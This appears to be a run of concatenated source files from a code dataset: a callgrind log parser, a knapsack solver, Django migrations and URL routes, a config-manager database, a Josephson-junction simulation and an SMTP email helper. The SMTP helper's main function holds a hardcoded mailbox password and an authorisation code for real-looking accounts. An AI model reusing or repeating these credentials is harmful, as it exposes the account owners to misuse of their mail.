savepid=False, wait=True, stdout=self.pretty_path)\r\n #Parse the annotated file\r\n pretty_log = open(self.pretty_path)\r\n final_csv = open(self.csv_path,'w')\r\n log = []\r\n line = pretty_log.readline()\r\n while line:\r\n #remove leading spaces\r\n line = line.lstrip(' ')\r\n\r\n #check if first character is a number\r\n char = line[0]\r\n if char.isnumeric():\r\n #split the line\r\n split1 = line.split('(')\r\n split2 = split1[1].split(')')\r\n\r\n #break it up into peices\r\n Ir = split1[0]\r\n percent = split2[0]\r\n description = split2[1]\r\n\r\n #clean up Ir\r\n Ir = Ir.replace(',','')\r\n Ir = Ir.strip(' ')\r\n\r\n #clean up percent\r\n percent = percent.strip('%')\r\n\r\n #clean up description\r\n description = description.strip('\\n')\r\n description = description.lstrip(' ')\r\n description = description.replace(',',' ')\r\n\r\n #print to CSV file\r\n log.append([Ir, percent, description])\r\n\r\n #get next line\r\n line = pretty_log.readline()\r\n\r\n pretty_log.close()\r\n pd.DataFrame(log, columns=['Ir', 'Percent', 'Description']).to_csv(self.csv_path, index=False)\r\n","sub_path":"src/monitor/callgrind_parser.py","file_name":"callgrind_parser.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"601304732","text":"import sys\nimport attr\nimport logging\n\nlog = logging.getLogger(\"fbchat\")\n\n# Enable kw_only if the python version supports it\nkw_only = sys.version_info[:2] > (3, 5)\n\n#: Default attrs settings for classes\nattrs_default = attr.s(slots=True, kw_only=kw_only)\n\n\n# Frozen, so that it can be used in sets\n@attr.s(frozen=True, slots=True, kw_only=kw_only)\nclass Image:\n #: URL to the image\n url = attr.ib(type=str)\n #: Width of the image\n width = attr.ib(None, type=int)\n #: Height of the image\n height = attr.ib(None, type=int)\n\n @classmethod\n def _from_uri(cls, data):\n return cls(\n url=data[\"uri\"],\n width=int(data[\"width\"]) if data.get(\"width\") else None,\n height=int(data[\"height\"]) if data.get(\"height\") else None,\n )\n\n @classmethod\n def _from_url(cls, data):\n return cls(\n url=data[\"url\"],\n width=int(data[\"width\"]) if data.get(\"width\") else None,\n height=int(data[\"height\"]) if data.get(\"height\") else None,\n )\n\n @classmethod\n def _from_uri_or_none(cls, data):\n if data is None:\n return None\n if data.get(\"uri\") is None:\n return None\n return cls._from_uri(data)\n\n @classmethod\n def _from_url_or_none(cls, data):\n if data is None:\n return None\n if data.get(\"url\") is None:\n return None\n return cls._from_url(data)\n","sub_path":"fbchat/_core.py","file_name":"_core.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"365546506","text":"# 実験3.4\n# 入力した日付間の日数を出力するプログラム\n# 日付はすべてint値で受け渡し\n\n# 閏年判定\ndef judge_leap_yaer(input_year):\n year = (int)(input_year)\n if year%4 == 0:\n if year%100 != 0:\n return True\n elif year%400 == 0:\n return True\n else:\n return False\n else:\n return False\n\n# 入力データ形式の確認\ndef check_inputData_style(data):\n if(len(data) == 3):\n return True\n else:\n return False\n\n# 日付データをListに変換\ndef conversion_date(s_date):\n date = conversion_date_object(s_date.split('/'))\n\n # 形式が正しくなければシステム終了\n if check_inputData_style(date):\n return date\n else:\n print('入力したデータが不正です')\n exit(0)\n\n# StringList->intList\ndef conversion_date_object(date):\n int_date = []\n for i in range(len(date)):\n int_date.append(int(date[i]))\n return int_date\n\n# 月の日数\ndef check_month(date):\n month = date\n if month in {4, 6, 9}:\n return 30\n elif month==2:\n return 28\n else:\n return 31\n\n# 開始年と終了年の差\ndef subtraction_year(s_year, f_year):\n _days = 0\n if f_year > s_year+1:\n _days += (f_year - (s_year+1))*365\n return _days\n\n# 月差*日数\ndef subtraction_month(s_month, f_month):\n _days = 0\n if f_month > s_month:\n for i in range( (f_month - s_month) - 2):\n _days += check_month(f_month+(i+1))\n elif f_month < s_month:\n for i in range( (f_month - s_month) - 2):\n _days += check_month(f_month+(i+1))\n return _days\n\n # 日数差\ndef subtraction_day(s_month, s_day, f_day):\n _days = 0\n\n # 開始日\n s_month_days = check_month(s_month) # 開始月の日数\n s_day = s_day\n _days += s_month_days-s_day\n\n # 終了日\n _days += f_day\n return _days\n \n# 閏年分追加\ndef add_leap_yaer_days(s_date, f_date):\n _days = 0\n \n for i in range(1, f_date[0]-s_date[0]):\n if judge_leap_yaer(s_date[0] + i):\n _days += 1\n \n # 開始年の閏年判定\n if s_date[1] <= 2:\n if judge_leap_yaer(s_date[0]):\n _days += 1\n # 終了年の閏年判定\n if f_date[1] > 1:\n if judge_leap_yaer(f_date[0]):\n _days += 1\n return _days\n\n# 開始日からその年末までの日数\ndef total_sdays(date):\n _days = 0\n _month = date[1]\n for i in range(_month+1, 13):\n _days += check_month(i)\n return _days\n\n# 元旦から終了日までの日数\ndef total_fdays(date):\n _days = 0\n _month = date[1]\n for i in range(1, _month):\n _days += check_month(i)\n return _days\n\n# 処理本体\ndef main_proccess(s_str_date, f_str_date):\n s_date = conversion_date(s_str_date)\n f_date = conversion_date(f_str_date)\n year = subtraction_year(s_date[0], f_date[0])\n month = subtraction_month(s_date[1], f_date[1]) \n day = subtraction_day(s_date[1], s_date[2], f_date[2])\n\n days = year + month + day\n days += total_sdays(s_date)\n days += total_fdays(f_date)\n days += add_leap_yaer_days(s_date, f_date)\n\n print('日数差:{}日'.format(days-1))\n\nif __name__ == '__main__':\n s_date = input('開始日(YYY/MM/DD):')\n f_date = input('終了日(YYY/MM/DD):')\n main_proccess(s_date, f_date)\n","sub_path":"情報工学実験/python/第6章/実験/k3.4.py","file_name":"k3.4.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"62264078","text":"__author__ = 'kkarnam'\n\nfrom django.conf.urls import patterns, url\n\nfrom aacademy import views\n\n\nurlpatterns = patterns('',\n url(r'^$', views.index),\n url(r'^details', views.details),\n url(r'^login/$', views.login),\n url(r'^auth/$', views.auth_view),\n url(r'^logout/$', views.logout),\n url(r'^logged_in/$', views.logged_in),\n url(r'^invalid/$', views.invalid_login),\n url(r'^signup/$', views.signup),\n url(r'^register/$', views.register),\n url(r'^new/$', views.new),\n url(r'^toc_save/$', views.toc_save),\n #url(r'^toc_all/$', views.toc_all),\n url(r'^(?P\\d+)/$', views.toc_details),\n url(r'^list/$', views.list),\n url(r'^player/$', views.player),\n\n)\n\n\n\n","sub_path":"aacademy/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"341887227","text":"import numpy as np\nclass MMKPSolver:\n def __init__(self, fname):\n f = open(fname)\n\n self.n = int(f.readline()) # n classes\n self.m = int(f.readline()) # m weights\n c = f.readline().split('-')\n self.C = np.array([float(i) for i in c]) # available resources\n\n self.r = np.zeros((self.n,), dtype=np.int) # number of items\n l = []\n for i in range(self.n):\n self.r[i] = int(f.readline())\n k = []\n for j in range(self.r[i]):\n k.append([float(t) for t in f.readline().split('-')])\n l.append(k)\n\n self.w = np.zeros((self.n, max(self.r),self.m)) # weight\n self.v = np.zeros((self.n, max(self.r))) # values\n self.x = np.zeros((self.n, max(self.r)), dtype=np.bool) # binary\n\n self.LP_x = np.zeros((self.n, max(self.r)))\n\n for i in range(self.n):\n for j in range(self.r[i]):\n self.v[i][j] = l[i][j][0]\n for k in range(self.m):\n self.w[i][j][k] = l[i][j][k+1]\n\n self.pseudo_u = np.zeros((self.n, max(self.r))) # utiltiy\n self.u = np.zeros((self.n, max(self.r)))\n self.DEBUG = True\n\n def calc_pseudo_utility_ratio(self): # make u vector\n for i in range(self.n):\n for j in range(self.r[i]):\n self.pseudo_u[i][j] = self.v[i][j] / np.dot(self.C, self.w[i][j])\n\n def calc_utility_ratio(self):\n for i in range(self.n):\n for j in range(self.r[i]):\n self.u[i][j] = self.v[i][j]/sum(self.w[i][j])\n\n def is_feasible(self):\n feasible = True\n for k in range(self.m):\n s = 0.0\n for i in range(self.n):\n for j in range(self.r[i]):\n s += self.w[i][j][k]*self.x[i][j]\n feasible &= (s <= self.C[k])\n\n return feasible\n\n def val(self):\n return sum(sum(self.x*self.v))\n\n def test_print(self):\n if self.DEBUG:\n print('n=', self.n)\n print('m=', self.m)\n print('C=', self.C)\n print('r=', self.r)\n print('v=', self.v)\n print('x=', self.x)\n print('w=', self.w)\n print('u=', self.pseudo_u)\n print('feasible=', self.is_feasible())\n print('value=', self.val())\n\n def local_swap_search(self, group_i):\n J = self.x[group_i].argmax()\n D_j = self.compute_D(group_i, J)\n cur_min = D_j\n min_idx = J\n for j in range(self.r[group_i]):\n d = self.compute_D(group_i, j)\n if cur_min > d:\n cur_min = d\n min_idx = j\n\n self.x[group_i][J] = False\n self.x[group_i][min_idx] = True\n return min_idx\n\n def compute_D(self, group_i, idx_j):\n R = 0\n R += self.w[group_i][idx_j]\n for i_prime in range(self.n):\n if i_prime == group_i:\n continue\n for j in range(self.r[i_prime]):\n R += self.w[i_prime][j]\n D = sum(R)/sum(self.C)\n return D\n\n def cp_mmkp(self):\n # Initialization\n S = np.zeros((self.n,), dtype=np.int)\n pi = np.zeros((self.n,), dtype=np.int)\n uij = np.zeros((self.n,))\n J = np.zeros((self.n,), dtype=np.int)\n\n R = np.zeros((self.m,)) # accumulated resources for constraints\n\n for i in range(self.n):\n uij[i] = max(self.pseudo_u[i])\n J[i] = list(self.pseudo_u[i]).index(uij[i]) #select most valuable u\n\n for i in range(self.n):\n S[i] = J[i]\n pi[i] = J[i]\n self.x[i][pi[i]] = 1\n # resource constraints obatin\n for k in range(self.m):\n for i in range(self.n):\n R[k] += self.w[i][pi[i]][k]\n\n #Main Phase\n while (R > self.C).any():\n #Drop Phase\n print('Drop Phase')\n k0 = R.argmax()\n m = self.w[0][J[0]][k0]\n for i in range(self.n):\n if m < self.w[i][J[i]][k0]:\n i0 = i\n m = self.w[i][J[i]][k0]\n pi[i0] = J[i0]\n self.x[i0][pi[i0]] = 0\n R -= self.w[i0][pi[i0]]\n # Add phase\n for j in range(self.r[i0]):\n if j != J[i0] and ((R+self.w[i0][J]) < self.C).all():\n print('Add Phase')\n self.x[i0][j]=1\n J[i0]=j\n pi[i0]=J[i0]\n R += self.w[i0][pi[i0]]\n S[i0] = pi[i0]\n return S\n m = self.w[i0][0][k0]\n j_prime = 0\n for j in range(self.r[i0]):\n if m > self.w[i0][j][k0]:\n j_prime = j\n m = self.w[i0][j][k0]\n J[i0] = j_prime\n pi[i0] = J[i0]\n self.x[i0][pi[i0]] = 1\n return S\n\n def swap_procedure(self, max_iter):\n count = 0\n while count < max_iter and (not self.is_feasible()):\n for i in range(self.n):\n self.local_swap_search(i)\n count += 1\n\n def column_generation_mmkp(self):\n S = self.cp_mmkp()\n\n S = [[i] for i in S]\n # utility_ratio\n\n self.calc_utility_ratio()\n\n for i in range(self.n):\n self.local_swap_search(i)\n\n for i in range(self.n):\n for j in range(len(S[i])):\n self.u[i][S[i][j]] = 0\n\n print(S)\n for i in range(self.n):\n if self.u[i][self.u[i].argmax()] == 0:\n continue #더이상 컬럼을 추가하지 못함\n S[i].append(self.u[i].argmax())\n self.u[i][self.u[i].argmax()] = 0\n print(S)\n print('Heuristic:',self.val())\n\n self.solve_lp(S)\n while not (self.solve_dual_1(S) <= 0).any() :\n for i in range(self.n):\n if self.u[i][self.u[i].argmax()] == 0:\n continue #더이상 컬럼을 추가하지 못함\n S[i].append(self.u[i].argmax())\n self.u[i][self.u[i].argmax()] = 0\n self.solve_lp(S)\n\n for i in range(self.n):\n if self.u[i][self.u[i].argmax()] == 0:\n continue #더이상 컬럼을 추가하지 못함\n S[i].append(self.u[i].argmax())\n self.u[i][self.u[i].argmax()] = 0\n lp = self.solve_lp(S)\n print(-lp.fun)\n self.make_x(S, lp.x)\n print(self.x)\n print('Column value=', self.val())\n\n def make_x(self, S, x):\n idx_x = 0\n x_2d = []\n leni = 0\n for i in range(self.n):\n for j in range(max(self.r)):\n self.x[i][j] = 0\n for i in range(self.n):\n d = []\n for j in range(len(S[i])):\n d.append(x[leni+j])\n leni += len(S[i])\n x_2d.append(d)\n for i in range(self.n):\n for j in range(len(S[i])):\n if x_2d[i][j] == max(x_2d[i]):\n self.x[i][S[i][j]] = 1\n\n\n def solve_lp(self, S):\n from scipy.optimize import linprog\n v1 = [-self.v[i][j] for i in range(self.n) for j in S[i]]\n A_b = [[self.w[i][j][k] for i in range(self.n) for j in S[i]] for k in range(self.m)]\n b_b = [r for r in self.C]\n A_e = [[0 for i in range(self.n) for j in S[i]] for l in range(self.n)]\n b_e = [1 for i in range(self.n)]\n\n start_idx = 0\n for i in range(self.n):\n for j in range(len(S[i])):\n A_e[i][j+start_idx] = 1\n start_idx += len(S[i])\n A_b += A_e\n b_b += b_e\n\n bounds = [(0, 1) for i in range(self.n) for j in S[i]]\n\n\n res = linprog(v1, A_ub=A_b, b_ub=b_b, bounds=bounds)\n print(-res.fun)\n\n return res\n\n def solve_dual_1(self, S): #WINE\n print(S)\n # Reset the Lagrange Multiplier\n lagrange = [0 for i in range(self.m)]\n\n # Normalize constraints\n s = np.array([[[self.w[i][j][k]/self.C[k] for k in range(self.m) ] for j in S[i]] for i in range(self.n)])\n\n W_sum = np.ones((self.n, max([len(S[i]) for i in range(self.n)])), dtype=np.double)\n\n for i in range(self.n):\n for j in range(len(S[i])):\n W_sum[i][j] = sum(s[i][j])\n if W_sum[i][j] == 0 :\n W_sum[i][j] = self.m\n # 원래는 레이트가 제일 좋은 애를 뽑아야함 여기선 weight sum이 작은 애를 선택\n\n # 그룹별 웨이트 썸이 작은애를 선택함.\n selected_J = [ W_sum[i].argmin() for i in range(self.n)]\n\n # Evaluate Violation of constraint k\n Y = np.array([sum([s[i][selected_J[i]][k] for i in range(self.n)]) for k in range(self.m)])\n\n # (Y > 1).all() means that constraint k violates\n while not (Y > 1).all():\n # Find the most violated constraint k\n k_ = Y.argmax()\n step = np.zeros((self.n, max([len(S[i]) for i in range(self.n)])), dtype=np.double)\n for i in range(self.n):\n for j in range(len(S[i])):\n if s[i][selected_J[i]][k_]>s[i][j][k_]:\n step[i][j] = (((self.v[i][S[i][selected_J[i]]] - self.v[i][S[i][j]])\n -sum([lagrange[k]*(s[i][selected_J[i]][k]-s[i][j][k])\n for k in range(self.m)])\n )/(s[i][selected_J[i]][k_]-s[i][j][k_])\n )\n min_step = step.max() + 1\n choose = (0, 0)\n for i in range(self.n):\n for j in range(len(S[i])):\n if step[i][j] > 0 :\n min_step = min(min_step, step[i][j])\n choose=(i,j)\n if min_step > step.max():\n break\n\n lagrange[k_] += min_step\n for k in range(self.m):\n Y[k] = Y[k] + s[choose[0]][choose[1]][k] - s[choose[0]][selected_J[choose[0]]][k]\n selected_J[choose[0]] = choose[1]\n\n # Step 3, but not affect the lagrange mul, skip\n '''\n eta = [[self.v[i][j] - self.v[i][S[i][selected_J[i]]] for j in S[i]] for i in range(self.n)]\n min_eta = 0\n choose = (0,0)\n for i in range(self.n):\n for j in range(len(S[i])):\n if not (eta[i][j] > 0 and ((Y+s[i][j]-s[i][selected_J[i]]) <= 1).all()):\n eta[i][j]=0\n else:\n min_eta = max(min_step, eta[i][j])\n choose=(i,j)\n for k in range(self.m):\n Y[k] = Y[k] + s[choose[0]][choose[1]][k] - s[choose[0]][selected_J[choose[0]]][k]\n selected_J[choose[0]] = choose[1]\n '''\n SP = np.array([max([self.v[i][S[i][j]] - sum([lagrange[k]*s[i][j][k] for k in range(self.m)])] for j in range(len(S[i]))) for i in range(self.n)])\n print('SP:',SP)\n return SP\n\n def solve_dual_2(self, S):\n lamda = [0 for i in range(self.m)]\n b = [r for r in self.C]\n b_ = [0 for r in self.C]\n\n\n","sub_path":"MMKPSolver.py","file_name":"MMKPSolver.py","file_ext":"py","file_size_in_byte":11240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"227551199","text":"import hashlib\nimport json\nimport os\nimport pathlib\nimport shutil\n\nfrom config.config import Config\n\n\"\"\"\n Database Spec\n \n installed [\n type\n source\n version\n files [\n path\n hash\n ]\n onRemove [\n name\n content\n ]\n ]\n\n\"\"\"\n\n\nclass Database:\n def __init__(self):\n self.path = str(pathlib.PurePath(pathlib.Path.home(), pathlib.Path(\".cfgmaster\")))\n os.makedirs(self.path, exist_ok=True)\n self.path = self.path + \"/database.json\"\n\n self.data = None\n\n if not os.path.exists(self.path):\n with open(self.path, \"w\") as out:\n out.write('{\"installed\": []}\\n')\n\n with open(self.path, \"r\") as inp:\n self.data = json.load(inp)\n\n def writeDatabase(self):\n with open(self.path, \"w\") as out:\n json.dump(self.data, out, indent=4)\n\n def installNewConfig(self, cfg: Config):\n for entries in self.data[\"installed\"]:\n if entries[\"type\"] == cfg.getType():\n # Type already installed\n return False\n\n newEntry = {}\n newEntry[\"type\"] = cfg.getType()\n newEntry[\"source\"] = cfg.getSource().getName()\n newEntry[\"mode\"] = cfg.getMode()\n newEntry[\"version\"] = cfg.getSource().getVersion()\n\n newEntry[\"files\"] = cfg.installFiles()\n newEntry[\"onRemove\"] = cfg.getRemoveScripts()\n\n # TODO: Install Scripts\n\n self.data[\"installed\"].append(newEntry)\n self.writeDatabase()\n return True\n\n def removeConfig(self, type):\n for entry in self.data[\"installed\"]:\n if entry[\"type\"] == type:\n for f in entry[\"files\"]:\n self.removeFile(f)\n\n # TODO: Remove Scripts\n\n self.data[\"installed\"].remove(entry)\n self.writeDatabase()\n return\n\n def removeFile(self, f):\n path = f[\"path\"]\n hash = f[\"hash\"]\n\n if not os.path.exists(path):\n print(\"Warning: Installed file does not exists -> you modified installed config\")\n else:\n with open(path, \"rb\") as inp:\n installedHash = hashlib.md5(inp.read()).hexdigest()\n\n if installedHash != hash:\n print(\"Warning: Modified File found '{}' -> Creating special backup with suffix '.cfgm.mut.bak'\".format(\n path))\n shutil.copyfile(path, path + \".cfgm.mut.bak\")\n\n os.remove(path)\n\n if os.path.exists(path + \".cfgm.bak\"):\n print(\"-> Restoring old backup of file '{}'\".format(path))\n shutil.move(path + \".cfgm.bak\", path)\n\n def isInstalled(self, cfg):\n \"\"\"\n :return: 0 if not installed, 1 if outdated and 2 if up to date\n \"\"\"\n for entry in self.data[\"installed\"]:\n if entry[\"type\"] == cfg.getType():\n if entry[\"mode\"] == cfg.getMode() and entry[\"source\"] == cfg.getSource().getName():\n if entry[\"version\"] == cfg.getSource().getVersion():\n return 2\n else:\n return 1\n else:\n return 0\n\n def getData(self):\n return self.data\n","sub_path":"database/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"488400050","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='DataloggerSettings',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('track', models.BooleanField(default=True, verbose_name='Poll P1 port', help_text='Whether we should track the P1 port on your smartmeter. Almost every feature inside this project requires this to be enabled. However, it might be disabled temporarily due to technical reasons, such as data migrations.')),\n ('baud_rate', models.IntegerField(default=115200, verbose_name='BAUD rate', help_text='BAUD rate used for Smartmeter. 115200 for DSMR v4, 9600 for older versions')),\n ('com_port', models.CharField(default='/dev/ttyUSB0', max_length=196, verbose_name='COM-port', help_text='COM-port connected to Smartmeter.')),\n ],\n options={\n 'default_permissions': (),\n 'verbose_name': 'Datalogger configuration',\n },\n ),\n migrations.CreateModel(\n name='DsmrReading',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, auto_created=True, verbose_name='ID')),\n ('timestamp', models.DateTimeField()),\n ('electricity_delivered_1', models.DecimalField(max_digits=9, decimal_places=3, help_text='Meter Reading electricity delivered to client (low tariff) in 0,001 kWh')),\n ('electricity_returned_1', models.DecimalField(max_digits=9, decimal_places=3, help_text='Meter Reading electricity delivered by client (low tariff) in 0,001 kWh')),\n ('electricity_delivered_2', models.DecimalField(max_digits=9, decimal_places=3, help_text='Meter Reading electricity delivered to client (normal tariff) in 0,001 kWh')),\n ('electricity_returned_2', models.DecimalField(max_digits=9, decimal_places=3, help_text='Meter Reading electricity delivered by client (normal tariff) in 0,001 kWh')),\n ('electricity_tariff', models.IntegerField(help_text='Tariff indicator electricity. The tariff indicator can be used to switch tariff dependent loads e.g boilers. This is responsibility of the P1 user. Note: Tariff code 1 is used for low tariff and tariff code 2 is used for normal tariff.')),\n ('electricity_currently_delivered', models.DecimalField(max_digits=9, decimal_places=3, help_text='Actual electricity power delivered (+P) in 1 Watt resolution')),\n ('electricity_currently_returned', models.DecimalField(max_digits=9, decimal_places=3, help_text='Actual electricity power received (-P) in 1 Watt resolution')),\n ('power_failure_count', models.IntegerField(help_text='Number of power failures in any phases')),\n ('long_power_failure_count', models.IntegerField(help_text='Number of long power failures in any phase')),\n ('voltage_sag_count_l1', models.IntegerField(help_text='Number of voltage sags/dips in phase L1')),\n ('voltage_sag_count_l2', models.IntegerField(help_text='Number of voltage sags/dips in phase L2 (polyphase meters only)')),\n ('voltage_sag_count_l3', models.IntegerField(help_text='Number of voltage sags/dips in phase L3 (polyphase meters only)')),\n ('voltage_swell_count_l1', models.IntegerField(help_text='Number of voltage swells in phase L1')),\n ('voltage_swell_count_l2', models.IntegerField(help_text='Number of voltage swells in phase L2 (polyphase meters only)')),\n ('voltage_swell_count_l3', models.IntegerField(help_text='Number of voltage swells in phase L3 (polyphase meters only)')),\n ('extra_device_timestamp', models.DateTimeField(help_text='Last hourly reading timestamp')),\n ('extra_device_delivered', models.DecimalField(max_digits=9, decimal_places=3, help_text='Last hourly value delivered to client')),\n ('processed', models.BooleanField(default=False, db_index=True, help_text='Whether this reading has been processed for merging into statistics')),\n ],\n options={\n 'default_permissions': (),\n 'ordering': ['timestamp'],\n },\n ),\n ]\n","sub_path":"dsmr_datalogger/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"516178630","text":"#\n# 722 - Remove Comments - Leetcode\n\nfrom typing import List\n# O(S) time | O(S) space\n# where S is total length of source code\ndef removeComments(source: List[str]) -> List[str]:\n\tin_block=False\n\tonly_code=[]\n\tfor line in source:\n\t\ti=0\n\t\tif not in_block: newline=[]\n\t\twhile i List[str]:\n\tin_multi_comment=False\n\tonly_code=[]\n\tfor line in source:\n\t\tin_single_comment=False\n\t\tonly_code_line=[]\n\t\ti=0\n\t\twhile i\")\n img_msg.add_header(\"X-Attachment-Id\", \"0\")\n # 把附件的内容读进来:\n img_msg.set_payload(f.read())\n # 用Base64编码:\n encoders.encode_base64(img_msg)\n msg.attach(img_msg)\n\n if sender:\n msg[\"From\"] = Header(sender)\n if receiver:\n msg[\"To\"] = Header(receiver)\n if subject:\n msg[\"Subject\"] = Header(subject, \"utf-8\")\n return msg\n\n def send_mail(self, from_addr, to_addrs, msg):\n \"\"\"\n 发送邮件\n :param: from_addr: str, 发送邮件的地址(xxx@sina.com)\n :param: to_addrs: list, 目标地址\n :param: msg: MIMEMultipart, 构建完成的邮件内容\n :return ret: dict,全部发送成功则返回空字典,出错则会返回错误码\n \"\"\"\n ret = self.smtp_obj.sendmail(from_addr=from_addr, to_addrs=to_addrs, msg=msg.as_string())\n return ret\n\n\n# class EmailTest(unittest.TestCase):\n\n# def setUp(self):\n# self.smtp_host = \"smtp.sina.com\"\n# self.smtp_port = 25\n# self.origin_addr = \"liu15671677014@sina.com\"\n# self.target_addrs = [\"1365205439@qq.com\", \"2713281245@qq.com\"]\n# self.pwd = \"123456\"\n# self.email_core = Email(host=self.smtp_host, port=self.smtp_port)\n\n# def test_login(self):\n# (code, resp) = self.email_core.login(self.origin_addr, self.pwd)\n# print(\"code: {}, resp: {}\".format(code, resp))\n# self.assertEqual(code, 235)\n\n# def test_send_email(self):\n# # msg = self.email_core.generate_msg(text=\"你好,这是测试文件\", sender=\"tonyliu\", \n# # receiver=\"evan\", subject=\"email test\", link=\"http://www.baidu.com\")\n# msg = self.email_core.generate_msg(text=\"你好,这是测试文件\")\n# self.email_core.login(self.origin_addr, self.pwd)\n# (code, resp) = self.email_core.send_mail(self.origin_addr, self.target_addrs, msg)\n# print(\"code: {}, resp: {}\".format(code, resp))\n# self.assertEqual(code, 250)\n\n\ndef main():\n # 使用sina邮箱发送邮件的时候,需要用户名和密码\n # smtp_host = \"smtp.sina.com\"\n # smtp_port = 25\n # origin_addr = \"liu15671677014@sina.com\"\n # target_addrs = [\"2713281245@qq.com\"]\n # pwd = getpass.getpass(\"password:\") # 安全的输入用户密码\n\n # 使用qq邮箱发送邮件的时候,需要用户名以及生成的授权码\n # smtp_host = \"smtp.qq.com\"\n # smtp_port = 465\n # origin_addr = \"2713281245@qq.com\"\n # target_addrs = [\"liu15671677014@sina.com\"]\n # auth_code = \"wepxpajolubkdhca\"\n\n smtp_host = \"smtp.exmail.qq.com\"\n smtp_port = 25\n origin_addr = \"jxzn@jiangxing.ai\"\n target_addrs = [\"2713281245@qq.com\"]\n pwd = \"e2wGaHbiHSRHXktF\"\n\n email_core = Email(host=smtp_host, port=smtp_port)\n\n email_core.login(origin_addr, pwd)\n # email_core.login(origin_addr, auth_code)\n\n for targer_addr in target_addrs:\n msg = email_core.generate_msg(targer_addr.split(\"@\")[0], \"牛x公司\", \"https://www.baidu.com\", sender=origin_addr,\n subject=\"【JX IoT Edge】操作员账户验证\")\n # print(\"msg: {} {}\".format(msg, type(msg)))\n email_core.send_mail(origin_addr, target_addrs, msg)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"language/python/modules/Other/smtp/smtp_module.py","file_name":"smtp_module.py","file_ext":"py","file_size_in_byte":6179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"136610033","text":"\r\n#引入畫圖標頭檔\r\nimport matplotlib.pyplot as plt #畫圖用\r\nimport math #三角函數用\r\n#\r\n\r\n#模擬輸入\r\nstart=0 #開始時間\r\nfinish=300 #停止時間\r\nI_b1=2.0\r\nI_b2=2.0\r\nLambda=0.1\r\nLambda_s1=0.5\r\nLambda_p1=0.5\r\nLambda_s2=0.5\r\nLambda_p2=0.5\r\nLambda_c=0\r\nGamma=2.0\r\neta=1\r\nOmega=1.0\r\nQ=0.05\r\nLambda_syn=0.3\r\nr12=1.4\r\nstartval=[0,0,0,0,0,0,0,0,0,0,0] #initial conditions\r\nstep=0.005 #每一個數值解的間距\r\ndef I_in(t):\r\n return 0.3*(t>=20)\r\n#\r\n\r\n#微分方程\r\ndef fy1(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return y2\r\ndef fy2(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return -Gamma*y2-math.sin(y1)-Lambda*(y1+y3)+Lambda_s1*I_in(t)+(1-Lambda_p1)*I_b1-(y11+Lambda*y9/(Lambda_syn*Omega*Omega)) #這裡有加上第五頁所提及的back-action\r\ndef fy3(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return y4\r\ndef fy4(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return -Gamma*y4-math.sin(y3)+(-Lambda*(y1+y3)+Lambda_s1*I_in(t)-Lambda_p1*I_b1)/eta\r\ndef fy5(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return y6\r\ndef fy6(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return -Gamma*y6-math.sin(y5)-Lambda*(y5+y7)+Lambda_s2*y11+(1-Lambda_p2)*I_b2\r\ndef fy7(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return y8\r\ndef fy8(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return -Gamma*y8-math.sin(y7)+(-Lambda*(y5+y7)+Lambda_s2*y11-Lambda_p2*I_b2)/eta\r\ndef fy9(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return y10\r\ndef fy10(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return (Omega*Omega)*((-Q*y10/Omega)-y9+y2-(Q*Omega*Lambda_syn/Lambda)*y11-(1/(1-Lambda_syn))*(-r12*y11/Gamma+y9-Lambda_syn*(y6+y8)))\r\ndef fy11(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11):\r\n return (Lambda/(Lambda_syn*(1-Lambda_syn)))*(-r12*y11/Gamma+y9-Lambda_syn*(y6+y8))\r\n#\r\n\r\n#係數初始化\r\nb=[1/6,1/3,1/3,1/6]\r\nc=[[0,0,0,0],[0.5,0,0,0],[0,0.5,0,0],[0,0,1,0]]\r\nd=[0,0.5,0.5,1]\r\nk=[0,0,0,0]\r\norder=4\r\n#\r\n\r\n#參數初始化\r\ny1=startval[0]\r\ny2=startval[1]\r\ny3=startval[2]\r\ny4=startval[3]\r\ny5=startval[4]\r\ny6=startval[5]\r\ny7=startval[6]\r\ny8=startval[7]\r\ny9=startval[8]\r\ny10=startval[9]\r\ny11=startval[10]\r\nt=start\r\nck=0\r\n#\r\n#最後呈現的曲線陣列\r\nFlux1=[(y1+y3)*Lambda]\r\nFlux2=[(y5+y7)*Lambda]\r\ntvals=[start]\r\nI_of_t=[I_in(start)/10-0.05] 